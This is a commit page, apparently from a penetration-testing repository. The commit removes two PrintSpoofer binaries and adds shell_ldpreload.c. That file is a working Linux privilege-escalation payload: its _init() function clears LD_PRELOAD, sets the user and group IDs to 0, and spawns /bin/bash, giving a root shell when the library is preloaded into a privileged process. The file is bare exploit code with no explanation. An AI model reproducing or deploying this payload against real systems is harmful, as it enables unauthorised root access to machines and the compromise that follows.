Skip to content

Commit a1c2610

Browse files
committedJan 13, 2022
ld_preload
1 parent 21e9af1 commit a1c2610

File tree

3 files changed

+11
-0
lines changed

3 files changed

+11
-0
lines changed
 

‎PrintSpoofer32.exe

-21.5 KB
Binary file not shown.

‎PrintSpoofer64.exe

-26.5 KB
Binary file not shown.

‎shell_ldpreload.c

+11
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,11 @@
1+
2+
#include <stdio.h>
3+
#include <sys/types.h>
4+
#include <stdlib.h>
5+
6+
void _init() {
7+
unsetenv("LD_PRELOAD");
8+
setgid(0);
9+
setuid(0);
10+
system("/bin/bash");
11+
}

0 commit comments

Comments
 (0)
Please sign in to comment.